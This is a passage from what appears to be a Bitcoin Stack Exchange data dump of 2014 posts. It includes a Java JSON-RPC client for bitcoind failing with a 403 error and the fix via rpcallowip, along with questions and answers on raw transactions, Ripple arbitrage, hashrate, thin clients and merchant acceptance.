org.apache.http.client.ClientProtocolException;&#xA;import org.apache.http.client.methods.HttpPost;&#xA;import org.apache.http.entity.StringEntity;&#xA;import org.apache.http.impl.client.DefaultHttpClient;&#xA;import org.apache.http.util.EntityUtils;&#xA;import org.json.simple.JSONArray;&#xA;import org.json.simple.JSONObject;&#xA;import org.json.simple.parser.JSONParser;&#xA;&#xA;public class RPCClient {&#xA;&#xA;    private static final String COMMAND_GET_BALANCE = &quot;getbalance&quot;;&#xA;    private static final String COMMAND_GET_INFO = &quot;getinfo&quot;;&#xA;    private static final String COMMAND_GET_NEW_ADDRESS = &quot;getnewaddress&quot;;&#xA;&#xA;    private JSONObject invokeRPC(String id, String method, List&amp;lt;String&amp;gt; params) {&#xA;&#xA;//      CloseableHttpClient httpclient = HttpClientBuilder.create().build();&#xA;//      &#xA;//      httpclient.getCredentialsProvider();&#xA;        DefaultHttpClient httpclient = new DefaultHttpClient();&#xA;&#xA;        JSONObject json = new JSONObject();&#xA;        json.put(&quot;id&quot;, id);&#xA;        json.put(&quot;method&quot;, method);&#xA;        if (null != params) {&#xA;            JSONArray array = new JSONArray();&#xA;            array.addAll(params);&#xA;            json.put(&quot;params&quot;, params);&#xA;        }&#xA;        JSONObject responseJsonObj = null;&#xA;        try {&#xA;            httpclient.getCredentialsProvider().setCredentials(new AuthScope(&quot;198.154.*.*&quot;, 34907),&#xA;                    new UsernamePasswordCredentials(&quot;username&quot;, &quot;passssssssss_new&quot;));&#xA;            StringEntity myEntity = new StringEntity(json.toJSONString());&#xA;            System.out.println(json.toString());&#xA;            HttpPost httppost = new HttpPost(&quot;http://198.154.*.*:34907&quot;);&#xA;            httppost.setEntity(myEntity);&#xA;&#xA;            System.out.println(&quot;executing request&quot; + httppost.getRequestLine());&#xA;            HttpResponse response = httpclient.execute(httppost);&#xA;            HttpEntity entity = response.getEntity();&#xA;&#xA;            System.out.println(&quot;----------------------------------------&quot;);&#xA;            System.out.println(response.getStatusLine());&#xA;            if (entity != null) {&#xA;                System.out.println(&quot;Response content length: &quot; + entity.getContentLength());&#xA;                // System.out.println(EntityUtils.toString(entity));&#xA;            }&#xA;            JSONParser parser = new JSONParser();&#xA;            responseJsonObj = (JSONObject) parser.parse(EntityUtils.toString(entity));&#xA;        } catch (ClientProtocolException e) {&#xA;            // TODO Auto-generated catch block&#xA;            e.printStackTrace();&#xA;        } catch (IOException e) {&#xA;            // TODO Auto-generated catch block&#xA;            e.printStackTrace();&#xA;        } catch (ParseException e) {&#xA;            // TODO Auto-generated catch block&#xA;            e.printStackTrace();&#xA;        } catch (org.json.simple.parser.ParseException e) {&#xA;            // TODO Auto-generated catch block&#xA;            e.printStackTrace();&#xA;        } finally {&#xA;            // When HttpClient instance is no longer needed,&#xA;            // shut down the connection manager to ensure&#xA;            // immediate deallocation of all system resources&#xA;            httpclient.getConnectionManager().shutdown();&#xA;        }&#xA;        return responseJsonObj;&#xA;    }&#xA;&#xA;    public Double getBalance(String account) {&#xA;        String[] params = { account };&#xA;        JSONObject json = invokeRPC(UUID.randomUUID().toString(), COMMAND_GET_BALANCE, Arrays.asList(params));&#xA;        return (Double)json.get(&quot;result&quot;);&#xA;    }&#xA;&#xA;    public String getNewAddress(String account) {&#xA;        String[] params = { account };&#xA;        JSONObject json = invokeRPC(UUID.randomUUID().toString(), COMMAND_GET_NEW_ADDRESS, Arrays.asList(params));&#xA;        return (String)json.get(&quot;result&quot;);&#xA;    }&#xA;&#xA;    public JSONObject getInfo() {&#xA;        JSONObject json = invokeRPC(UUID.randomUUID().toString(), COMMAND_GET_INFO, null);&#xA;        return (JSONObject)json.get(&quot;result&quot;);&#xA;    }&#xA;&#xA;    public JSONObject getInfo(String command) {&#xA;        JSONObject json = invokeRPC(UUID.randomUUID().toString(), command, null);&#xA;        return (JSONObject)json.get(&quot;result&quot;);&#xA;    }&#xA;&#xA;    /*public static void main(String[] args) {&#xA;        System.out.println(new RPCClient().getInfo());      &#xA;    }*/&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Current result: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;id&quot;:&quot;60f910c6-a893-4753-a9d3-cbe6973ccb14&quot;,&quot;method&quot;:&quot;getinfo&quot;}&#xA;executing requestPOST http://198.154.*.*:34907 HTTP/1.1&#xA;----------------------------------------&#xA;HTTP/1.1 403 Forbidden&#xA;Response content length: 0&#xA;Unexpected token END OF FILE at position 0.&#xA;    at org.json.simple.parser.JSONParser.parse(JSONParser.java:257)&#xA;    at org.json.simple.parser.JSONParser.parse(JSONParser.java:81)&#xA;    at org.json.simple.parser.JSONParser.parse(JSONParser.java:75)&#xA;    at RPCClient.invokeRPC(RPCClient.java:61)&#xA;    at RPCClient.getInfo(RPCClient.java:96)&#xA;    at KeccakTest.main(KeccakTest.java:125)&#xA;Exception in thread &quot;main&quot; java.lang.RuntimeException: java.lang.NullPointerException&#xA;    at KeccakTest.main(KeccakTest.java:129)&#xA;Caused by: java.lang.NullPointerException&#xA;    at RPCClient.getInfo(RPCClient.java:97)&#xA;    at KeccakTest.main(KeccakTest.java:125)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6627" LastEditorUserId="5757" LastEditDate="2014-06-29T23:17:29.153" LastActivityDate="2014-06-29T23:17:29.153" Title="http post via java to bitcoind does not work" Tags="|bitcoind|json-rpc|java|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24997" PostTypeId="2" ParentId="24942" CreationDate="2014-04-30T00:41:24.533" Score="2" Body="&lt;p&gt;The Bitcoin payment service provider BitPay claims to have 20,000 merchants, both online and physical (brick and mortar), that accept Bitcoin on their system. They have a directory of companies here: &lt;a href=&quot;https://bitpay.com/directory#/&quot; rel=&quot;nofollow&quot;&gt;https://bitpay.com/directory#/&lt;/a&gt; but they are certainly not the only payment services provider. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://coinmap.org/&quot; rel=&quot;nofollow&quot;&gt;http://coinmap.org/&lt;/a&gt; has a list of almost 5000 brick and mortar locations that accept Bitcoin (not tied to any particular payment service provider).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Interestingly enough, just yesterday Yelp.com officially announced a new feature that allows businesses to specify whether or not they accept Bitcoin! This means that soon the Yelp API will also become a very valuable source of Bitcoin acceptance information. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Major retailers like Overstock.com and TigerDirect have also began accepting Bitcoin! &lt;/p&gt;&#xA;" OwnerUserId="14233" LastActivityDate="2014-04-30T00:41:24.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24999" PostTypeId="2" ParentId="24987" CreationDate="2014-04-30T02:42:59.857" Score="1" Body="&lt;p&gt;The widely accepted term for Bitcoin and the such is &lt;em&gt;cryptocurrencies&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Fiat&lt;/em&gt; money is just a bunch of inconvertible notes, not backed by any physical commodity nor is linked to physical reserves, making them extremely vulnerable to hyperinflation and devaluation. Governments print notes on blank paper and mint coins at will, limiting their supply to raise their value and then manipulating it via a cat-n-mouse chase of supply and demand.&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2014-04-30T02:42:59.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25000" PostTypeId="2" ParentId="22828" CreationDate="2014-04-30T03:00:26.960" Score="1" Body="&lt;p&gt;As of version 0.9.0, the bitcoin-qt reference client includes a &quot;coin control&quot; feature.  When you create a transaction, it lets you explicitly select which past transactions will be used as inputs.  You can enable this feature via the Display tab in the Options dialog. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This accomplishes what you are asking for.  &lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-04-30T03:00:26.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25001" PostTypeId="1" AcceptedAnswerId="25158" CreationDate="2014-04-30T06:58:53.970" Score="0" ViewCount="232" Body="&lt;p&gt;I want to build a rails application to create buy or sell offer for coins. If buy offer is accepted by seller, How the coins exchanged between the buyer and seller. How can it be implemented? What is the sequence of processes to be done in development level. Is there any opensource projects available in Github. I don't want to use other API's such as cryptsy. Can anybody guide me with proper steps as I am a beginner to cryptocoins.&lt;/p&gt;&#xA;" OwnerUserId="12634" LastActivityDate="2014-05-08T09:59:18.723" Title="How accept trade works on creating order" Tags="|transactions|bitcoind|exchanges|trading|currencies|" AnswerCount="1" CommentCount="2" ClosedDate="2014-05-27T21:40:10.450" ContentLicense="CC BY-SA 3.0" />
  <row Id="25002" PostTypeId="2" ParentId="24932" CreationDate="2014-04-30T07:37:06.457" Score="1" Body="&lt;p&gt;According to the discussion above I came to understanding that this is not possible without patching bitcoind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have found a workaround for my use case though: instead of using a single instance of bitcoind I'll run many of them (perhaps even on separate machines in separate locations) and make them talk to each other via &lt;code&gt;addnode&lt;/code&gt; &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list#Full_list&quot; rel=&quot;nofollow&quot;&gt;option&lt;/a&gt;. It is likely that different instances will talk to different nodes on the Network and thus enlarging the total set of nodes I receive updates from. I'll basically have a star topology of my nodes, using the central one for RPC. With more leaf nodes the maximum delay in receiving a transaction notification should lower.&lt;/p&gt;&#xA;" OwnerUserId="13530" LastActivityDate="2014-04-30T07:37:06.457" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25004" PostTypeId="1" AcceptedAnswerId="25008" CreationDate="2014-04-30T10:22:22.303" Score="2" ViewCount="513" Body="&lt;p&gt;I'm using the testnet and as far as i can tell im doing everything right but it just wont send.&#xA;The coins are old with more than 170 confirms now, the unspent output has a total of 4. I'm sending 3 to another address in my wallet and 0.5 to another address in my wallet with 0.5 as a tx fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I sign it I get a hash and 'Complete:True' at the end but when I send it i get error: {&quot;code&quot;:-22,&quot;message&quot;:&quot;TX rejected&quot;}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a copy of the transaction:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;&quot;txid&quot; : &quot;de46aedbe1a2c494de1ae59f81817828b8e5cc7d9165de88c0912689e497dfeb&quot;,&#xA;&quot;version&quot; : 1,&#xA;&quot;locktime&quot; : 0,&#xA;&quot;vin&quot; : [&#xA;    {&#xA;        &quot;txid&quot; : &quot;7fc9def2f3e52cd6ffaef52f44648c9170fef3e05ccc356a5280fbea447e9f7a&quot;,&#xA;        &quot;vout&quot; : 0,&#xA;        &quot;scriptSig&quot; : {&#xA;            &quot;asm&quot; : &quot;3045022100a38d7099f34d80341d4b83ecd5f7869c30d5ab0b494999eb59308a2689e213d902201f8a3405c5444094051780e428f2ce7e94c094537cd137b848907c10264d635901 025446e16d127120ac9be07998024e63d897763ea7b5a9d08bc22790bfbe55b717&quot;,&#xA;            &quot;hex&quot; : &quot;483045022100a38d7099f34d80341d4b83ecd5f7869c30d5ab0b494999eb59308a2689e213d902201f8a3405c5444094051780e428f2ce7e94c094537cd137b848907c10264d63590121025446e16d127120ac9be07998024e63d897763ea7b5a9d08bc22790bfbe55b717&quot;&#xA;        },&#xA;        &quot;sequence&quot; : 4294967295&#xA;    }&#xA;],&#xA;&quot;vout&quot; : [&#xA;    {&#xA;        &quot;value&quot; : 2.00000000,&#xA;        &quot;n&quot; : 0,&#xA;        &quot;scriptPubKey&quot; : {&#xA;            &quot;asm&quot; : &quot;OP_DUP OP_HASH160 95565025383b3a15b44f3aceecb0b720ef25ee47 OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;            &quot;hex&quot; : &quot;76a91495565025383b3a15b44f3aceecb0b720ef25ee4788ac&quot;,&#xA;            &quot;reqSigs&quot; : 1,&#xA;            &quot;type&quot; : &quot;pubkeyhash&quot;,&#xA;            &quot;addresses&quot; : [&#xA;                &quot;mu8aNmqV5ZGVNCrvUCxA64xEKDMEjfxYFe&quot;&#xA;            ]&#xA;        }&#xA;    },&#xA;    {&#xA;        &quot;value&quot; : 0.50000000,&#xA;        &quot;n&quot; : 1,&#xA;        &quot;scriptPubKey&quot; : {&#xA;            &quot;asm&quot; : &quot;OP_DUP OP_HASH160 40d3392408f0c97de32139b4dead0736e6f2b05d OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;            &quot;hex&quot; : &quot;76a91440d3392408f0c97de32139b4dead0736e6f2b05d88ac&quot;,&#xA;            &quot;reqSigs&quot; : 1,&#xA;            &quot;type&quot; : &quot;pubkeyhash&quot;,&#xA;            &quot;addresses&quot; : [&#xA;                &quot;mmRiaNorzMBgLfCHDar5okg7j1QjYMb526&quot;&#xA;            ]&#xA;        }&#xA;    }&#xA;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;" OwnerUserId="15533" LastActivityDate="2014-04-30T12:41:24.280" Title="Cannot transmit raw bitcoin transaction" Tags="|raw-transaction|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25005" PostTypeId="2" ParentId="3508" CreationDate="2014-04-30T11:20:43.253" Score="0" Body="&lt;p&gt;Here are 2 nice affiliate programs:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://coinpoker.io/affiliate-program/&quot; rel=&quot;nofollow&quot;&gt;CoinPoker&lt;/a&gt; - officially licensed to conduct online gaming operations by the government of Curacao. That guarantees that your funds are safe. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bitcasino.io/affiliate-program/&quot; rel=&quot;nofollow&quot;&gt;BitCasino&lt;/a&gt; - Generous payout structure let you earn up to 50% commission on every player&lt;/p&gt;&#xA;" OwnerUserId="15535" LastActivityDate="2014-04-30T11:20:43.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25006" PostTypeId="2" ParentId="24992" CreationDate="2014-04-30T12:33:05.123" Score="2" Body="&lt;p&gt;There are multiple distinct types of arbitrage possible with Ripple (there may or may not be financial terms for these, I'm a software developer not a finance person).&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Within Ripple&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Ripple has a built-in exchange between any pair of currency+issuer. Depending on market conditions it's possible to find arbitrage opportunities that can executed near instantaneously.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, given USD issued by gw1 (an example Ripple gateway) and CAD issued by gw2 and the various order books (USD/gw1:CAD/gw2, USD/gw1:XRP, CAD/gw2:XRP, etc) a trader may discover that they can trade USD/gw1 for XRP, then XRP for CAD/gw2, and finally CAD/gw2 back to USD/gw1 and get more than they started with. With Ripple this can be executed by a series of trade offers that are fully processed within seconds limiting the risks; or even by a single payment transaction with a custom path routing through the appropriate order books executing atomically &lt;sup&gt;(note: doing fully circular payments to do this in a single transaction is currently possible but non-trivial)&lt;/sup&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since Ripple itself attempts to find the cheapest path possible for each payment made, such arbitrage opportunities may be short lived for currencies with large volumes of payments (e.g. someone making a CAD payment using their USD should automatically take the best USD:CAD or USD:XRP:CAD offers as appropriate and vise versa). &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Between Ripple and a Ripple Gateway operating as an Exchange&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Several Ripple gateways are existing Bitcoin exchanges and as such have their own established markets and order books, often with better spreads and volume than the internal Ripple order book for the same currencies. Depending on the speed and reliability of the Ripple gateways' issuing/redeeming process this can be a low risk arbitrage opportunity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, Bitstamp was one of the first Ripple gateways for BTC and USD and has a good volume of BTC:USD trade on their own exchange. A user with BTC sitting in their Bitstamp exchange account can move some of that to BTC/Bitstamp within Ripple, trade to USD/Bitstamp, move that back to their Bitstamp exchange account and use Bitstamp's exchange to trade that back into BTC. The speed at which this can occur is dependent on Bitstamp's Ripple integration; when functioning well it only takes a minute or so but there can also be long delays occasionally (Ripple is in beta and any specific integration such as Bitstamp's can experience issues).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition to taking existing trade offers within Ripple (to limit the overall time of the above cycle and lower risk) traders can place offers on Ripple and on Bitstamp to capture larger differences in the spread over longer time periods but at the risk of price changes.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Inter Gateway Arbitrage using external paths&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;This is likely a general case that covers the original question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A trader can profit on price differences between different gateways by moving funds between the gateways outside of Ripple. For example, the USD/SnapSwap:XRP market may be consistently trading at different prices from the USD/Bitstamp:XRP market. A trader with a US bank account may find it profitable to send an international USD wire transfer to Bitstmap, transfer that to USD/Bitstamp, trade to USD/SnapSwap (either directly of via XRP) and redeem that back to their US bank account. Since this uses the existing banking system it can be slow and expensive so it would only be profitable if the USD/SnapSwap and USD/Bitstamp markets differed significantly (which it often does).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another example of this is a Canadian user wiring USD funds to Bitstamp and then trading into CAD/RippleUnion which they extract to their Canadian bank account. Recently the CAD/ru:USD/bs orders on Ripple have differed enough from the banks' exchange rate to cover the banking fees and make such a transfer profitable (if slow).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically what the original question appears to be asking about is an example of this where the two gateways are also Bitcoin exchanges. For example, Bitstamp and The Rock Trading. Without Ripple an arbitrage trader can move Bitcoin between their Bitstamp and TheRock exchange accounts fairly easily and cheaply but it's usually expensive and slow to move their USD. With Ripple, someone can quickly move their USD to/from each gateway from/to USD/Bitstamp or USD/TheRock within Ripple. As long as the market on Ripple has sufficient liquidity they may then be able to trade USD/Bitstamp:USD/TheRock (or do a conversion payment in which Ripple will search for the cheapest conversion path, possibly USD/Bitstamp:XRP then XRP:USD/TheRock for example). This allows such a user to move USD between the exchanges very fast (but possibly not any cheaper, it all depends on the current Ripple markets).&lt;/p&gt;&#xA;" OwnerUserId="3364" LastActivityDate="2014-04-30T12:33:05.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25008" PostTypeId="2" ParentId="25004" CreationDate="2014-04-30T12:41:24.280" Score="1" Body="&lt;p&gt;According to &lt;a href=&quot;http://blockexplorer.com/testnet/tx/7fc9def2f3e52cd6ffaef52f44648c9170fef3e05ccc356a5280fbea447e9f7a&quot; rel=&quot;nofollow&quot;&gt;blockexplorer.com&lt;/a&gt; your output has a total of 9.9999 (and not 4) btc. If you own both vout addresses for this transaction, using only 2,5 of them in your raw transaction leaves a 7,4999 btc fee for the miners, which is insanely high. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to &lt;a href=&quot;https://bitcoin.org/bin/0.9.0/README.txt&quot; rel=&quot;nofollow&quot;&gt;bitcoin 0.9 release notes&lt;/a&gt; there is a mechanism now in place that: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Reject insanely high fees by default in 'sendrawtransaction'&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;so that could be the reason that your transaction is being rejected. Try adding one more vout to your raw transaction and see if it works.&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2014-04-30T12:41:24.280" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25010" PostTypeId="1" CreationDate="2014-04-30T13:27:18.977" Score="3" ViewCount="1662" Body="&lt;p&gt;I need to set up linux server for web service that could generate bitcoin addresses and check the balance on them, etc (basically, receive payments in BTC). And I do not want to use third-party online wallets and services.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Original bitcoind client is too large now, you need almost 20 GB just to store blockchain files, and that'd be pretty expensive even for VPS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any thin command-line linux clients for this purpose? Electrum is GUI-based (it's command-line capable, but to set it up you need GUI anyway), Multibit too.&lt;/p&gt;&#xA;" OwnerUserId="15540" LastActivityDate="2017-09-01T19:15:16.133" Title="Thin command line-capable client for Linux" Tags="|bitcoind|linux|services|thin-clients|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="25011" PostTypeId="1" CreationDate="2014-04-30T14:45:06.390" Score="2" ViewCount="136" Body="&lt;p&gt;I would like to take bitcoin block data and send it use it to avoid having to go through the blockchain download again on other computers in my local network. To ensure that no db corruption occurs, I stop bitcoin before the transfer. Running the unix command &lt;code&gt;bitcoind stop&lt;/code&gt; will return &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Bitcoin has stopped running!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I notice that it does still run in top for a few moments after getting this message. This is not a problem right as it's never more than 15 seconds, however I am looking to automate this process using a simple php script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using bitcoin-rpc command such as &lt;code&gt;$status = $bitcoin-&amp;gt;stop()&lt;/code&gt; would yeild a result of &quot;Bitcoin has stopped running&quot; but it may still be running in top.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I make sure that bitcoin really stopped running? Or is it safe to preform data transfer as soon as I get this message (does bitcoin keep writing to db after it notifies you it has stopped)?&lt;/p&gt;&#xA;" OwnerUserId="12835" LastActivityDate="2015-09-21T14:56:17.750" Title="How to tell when bitcoin has really stopped running" Tags="|linux|daemon|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="25013" PostTypeId="1" CreationDate="2014-04-30T06:22:16.430" Score="2" ViewCount="1555" Body="&lt;p&gt;Computing preimages (nonces) that satisfy a hash output with known property (minimum number of prefixed zeroes) is the foundation of bit-coin mining and block-chain validation. For this purpose, all available hardware, whether general purpose PCs and servers or custom ASICs that specifically target bitcoin mining, is rated for performance in terms of &quot;Hashes/sec, Mega Hashes/Sec, or Giga Hashes/Sec&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without specifying the length of the data  that is hashed, I find this rating of HW in terms of 'Hashes/Sec' to be vague at best. All hashing algorithms input messages of arbitrary length  and computed an fixed length message digest. So, a processing power that performs a &quot;million hashes per second&quot; over input blocks of length 100 bytes is not quite the same of another HW that can perform 'million hashes per second' with input blocks where the block length is 4 kilo bytes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;What does it mean to say 'my HW can perform x hashes/sec'? Does each 'hash' refer to the block size of SHA256 algorithm, which is 512 bits? &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Or, does a hash refer to hashing a block chain, whose length is highly variable subject to the transactions that define a block-chain? &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is there is a well known benchmark program that can measure the 'hashes/sec' supported by any piece of HW? &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Without clarifying the above details &amp;amp; publishing a benchmark that everyone can look up to, vendors' claims of &quot;Hashes/Sec&quot; seems like a marketing ploy to me. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;[Added Later]&#xA;I have a further question on the details of how a valid nonce is searched. As I understand it, the search is determined by 3 parameters&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(a) The block header&#xA;(b) target string&#xA;(c) nonce&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A representative pseudo code that searches for the nonce can be written as:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;while&lt;/strong&gt; (hash_256(hash_256(block_header, nonce) &gt;= target_string) &lt;strong&gt;do&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;      nonce = nonce + 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;end_while&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have modeled the above pseudo code from this &lt;a href=&quot;http://www.righto.com/2014/02/bitcoin-mining-hard-way-algorithms.html&quot; rel=&quot;nofollow&quot;&gt;blog&lt;/a&gt; of Ken Schriff. It is not clear how this code models the 'difficulty' parameter. Above loop (as well as the one found in the &lt;a href=&quot;http://www.righto.com/2014/02/bitcoin-mining-hard-way-algorithms.html&quot; rel=&quot;nofollow&quot;&gt;blog&lt;/a&gt;) iterates through all nonce values from 0 through (2^32-1). Or, exactly 4 billion iterations of the hash function. Even a PC with a 12 year old Pentium 4 CPU that performs at 1 MHashes/Sec (cf. &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_hardware_comparison&quot; rel=&quot;nofollow&quot;&gt;Mining Hardware Comparison&lt;/a&gt;) can crack this in 4000 seconds, or in about an hour. Custom ASICs with GHashes/sec performance will crack it in a second. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the correction needed to reflect the 'difficulty' parameter in this pseudocode? Does the size of the nonce have to be related to the difficulty ?&lt;/p&gt;&#xA;" OwnerUserId="15555" OwnerDisplayName="user13311" LastEditorUserId="15555" LastEditDate="2014-05-01T04:19:35.773" LastActivityDate="2014-05-01T04:19:35.773" Title="Bitcoin Performance: What does Hashes/Second Mean?" Tags="|performance|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25014" PostTypeId="2" ParentId="25013" CreationDate="2014-04-30T08:20:52.923" Score="4" Body="&lt;p&gt;SHA256 uses a compression function that maps a 64 byte input block and a 32 byte chaining state to the next chaining state. It divides the message into 64 byte blocks and hashes those sequentially.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bitcoin proof of work uses &lt;code&gt;SHA256(SHA256(block_header))&lt;/code&gt;. Between each hashing attempt only 4 bytes in the last block of the header change, so for each hashing attempt you only need to compress that last block of the message and then one compression for the outer hash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So one bitcoin hash corresponds to two SHA-256 compressions. In definition of &quot;Hash/s&quot; says how many nonces can be evaluated per second which is a meaningful definition in this context.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The header contains the (root of a tree)hash of the actual block. But since the actual block only changes every 4 billion nonces, the cost up updating it is small compared to the cost of hashing the header. That's why it's neglected in those performance claims.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To compare different hardware you need to use miners specialized for that hardware. There are CPU, GPU, FPGA and ASIC based miners. &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_hardware_comparison&quot; rel=&quot;nofollow&quot;&gt;Mining hardware comparison on the bitcoin wiki&lt;/a&gt; lists the performance of many different kinds of hardware. Nowadays only ASIC is competitive, for other kinds of hardware the cost of buying and electricity exceeds the earned bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="940" OwnerDisplayName="CodesInChaos" LastActivityDate="2014-04-30T08:27:11.273" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25017" PostTypeId="2" ParentId="24996" CreationDate="2014-04-30T20:48:28.710" Score="1" Body="&lt;p&gt;In this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        HttpPost httppost = new HttpPost(&quot;http://198.154.*.*:34907&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the address &lt;code&gt;198.154.*.*&lt;/code&gt; is not valid IP address syntax. If that is really how your source code looks, then you need to use a full, valid IP address which is all numbers (for example, &lt;code&gt;198.154.1.1&lt;/code&gt; or whatever is appropriate for your network).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if you're deliberately obscuring your IP address for us, you still have a problem because you have set &lt;code&gt;rpcallowip=127.0.0.1&lt;/code&gt; which &lt;em&gt;only&lt;/em&gt; allows that address to talk to the RPC server. Add another &lt;code&gt;rpcallowip&lt;/code&gt; line that contains the address of the machine where you are running this Java code.&lt;/p&gt;&#xA;" OwnerUserId="11253" LastActivityDate="2014-04-30T20:48:28.710" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25018" PostTypeId="5" CreationDate="2014-04-30T21:00:38.730" Score="0" Body="&lt;p&gt;MySQL is a &lt;em&gt;“relational database management system”&lt;/em&gt; (RDBMS) that runs as a server providing multi-user access to a number of databases. Its source code is available under the GNU (General Public License).&lt;/p&gt;&#xA;&lt;p&gt;MySQL offers standard database driver connectivity for using MySQL with applications and tools that are compatible with industry standards ODBC and JDBC.&lt;/p&gt;&#xA;" OwnerUserId="6218" LastEditorUserId="42185" LastEditDate="2020-07-16T16:23:01.660" LastActivityDate="2020-07-16T16:23:01.660" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25019" PostTypeId="4" CreationDate="2014-04-30T21:00:38.730" Score="0" Body="MySQL is an open-source, relational database management system." OwnerUserId="6218" LastEditorUserId="6218" LastEditDate="2014-05-01T21:27:19.523" LastActivityDate="2014-05-01T21:27:19.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
